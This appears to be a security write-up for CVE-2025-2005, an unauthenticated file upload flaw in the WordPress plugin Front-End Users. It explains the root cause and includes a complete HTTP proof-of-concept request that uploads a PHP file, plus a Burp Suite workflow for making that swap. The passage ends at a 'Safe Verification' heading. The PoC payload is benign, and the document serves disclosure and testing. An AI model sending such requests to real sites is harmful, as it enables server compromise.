CVE-2025-2005 — Front-End Users Arbitrary File Upload

---

0x00 — Executive Summary

Front-End Users is affected by an unauthenticated arbitrary file upload vulnerability affecting versions ≤ 3.2.32.

The vulnerable registration workflow exposes an upload primitive that can be reached without requiring a privileged WordPress account.

The underlying issue is insufficient validation of attacker-controlled upload metadata and content before the file is persisted to the filesystem.

Attack chain

                  UNAUTHENTICATED ATTACKER
                           │
                           ▼
                 Public registration form
                           │
                           ▼
                  multipart/form-data
                           │
                           ▼
                Front-End Users handler
                           │
                           ▼
                Insufficient validation
                           │
                           ▼
                Attacker-controlled file
                           │
                           ▼
        /wp-content/uploads/ewd_feup_uploads/
                           │
                           ▼
              Web-accessible resource
                           │
                           ▼
             PHP execution if permitted
                           │
                           ▼
                         RCE

The final impact depends on the target's web-server and PHP configuration.

---

0x01 — Vulnerability Metadata

Property	Value
CVE	CVE-2025-2005
Product	Front-End Users
Affected versions	≤ 3.2.32
CWE	CWE-434
Class	Unrestricted Upload of File with Dangerous Type
Attack vector	Network
Authentication	None
Privileges required	None
User interaction	None
Primary primitive	Arbitrary file upload
Potential impact	Remote Code Execution
Researcher	h4ckxel
Namespace	0xZ3R0

---

0x02 — Vulnerability Classification

CWE-434

Unrestricted Upload of File with Dangerous Type

The vulnerable behavior can be reduced to:

Untrusted Input
      │
      ├── filename
      ├── extension
      ├── MIME type
      └── file content
             │
             ▼
       upload handler
             │
             ▼
        filesystem

The security boundary fails because attacker-controlled data reaches a persistent filesystem location without sufficient validation.

---

0x03 — Attack Surface

The vulnerable functionality is associated with the plugin's front-end registration system.

A typical registration request contains:

ewd-feup-action=register
Username=<value>
User_Password=<value>

and may contain an additional multipart file field:

Content-Disposition: form-data;
name="xxploit";
filename="poc.php"

Content-Type: application/x-php

The interesting part isn't the registration itself.

The interesting part is that the request crosses the following trust boundary:

                 INTERNET
                    │
                    ▼
          attacker-controlled HTTP
                    │
                    ▼
          registration endpoint
                    │
                    ▼
             upload handler
                    │
                    ▼
              filesystem

---

0x04 — Root Cause

The vulnerability originates from inadequate server-side validation of uploaded files.

A secure implementation should establish multiple independent controls:

                   UPLOAD
                     │
        ┌────────────┴────────────┐
        ▼                         ▼
 Authentication              Authorization
        │                         │
        └────────────┬────────────┘
                     ▼
             Extension allowlist
                     │
                     ▼
              MIME verification
                     │
                     ▼
              Content validation
                     │
                     ▼
            Server-side filename
                     │
                     ▼
          Non-executable storage

Any one of these controls being absent does not necessarily create RCE.

The problem becomes substantially more severe when multiple layers fail simultaneously.

---

0x05 — Controlled PoC

The following PoC demonstrates the file-write primitive without deploying a command shell.

HTTP request

POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----0xZ3R0Boundary

------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-check"

14bacb882cb211e10b2b3e07bfe096ef12a092dc
------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-time"

1743554029
------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-action"

register
------0xZ3R0Boundary
Content-Disposition: form-data; name="Username"

poc-user
------0xZ3R0Boundary
Content-Disposition: form-data; name="xxploit"; filename="poc.php"
Content-Type: application/x-php

<?php echo "CVE-2025-2005"; ?>

------0xZ3R0Boundary--

Expected filesystem result

wp-content/
└── uploads/
    └── ewd_feup_uploads/
        └── <randomized-name>.php

The important observation is:

attacker-controlled extension
            +
attacker-controlled content
            +
persistent filesystem write

---

0x06 — Burp Suite Workflow

A practical workflow for a lab environment:

[1] Open registration page
        │
        ▼
[2] Submit legitimate registration
        │
        ▼
[3] Intercept request with Burp
        │
        ▼
[4] Locate multipart file parameter
        │
        ▼
[5] Replace benign file with PoC file
        │
        ▼
[6] Forward request
        │
        ▼
[7] Inspect response
        │
        ▼
[8] Verify filesystem artifact
        │
        ▼
[9] Test whether uploads are executable

The security-critical observation should be made before attempting any post-exploitation.

---

0x07 — Request Diff

Legitimate request

Content-Disposition: form-data;
name="avatar";
filename="avatar.jpg"

<image-data>

Modified request

Content-Disposition: form-data;
name="xxploit";
filename="poc.php"

<?php echo "CVE-2025-2005"; ?>

Conceptually:

- filename="avatar.jpg"
+ filename="poc.php"

- <image-data>
+ <?php echo "CVE-2025-2005"; ?>

This illustrates the core primitive without relying on a weaponized payload.

---

0x08 — Safe Verification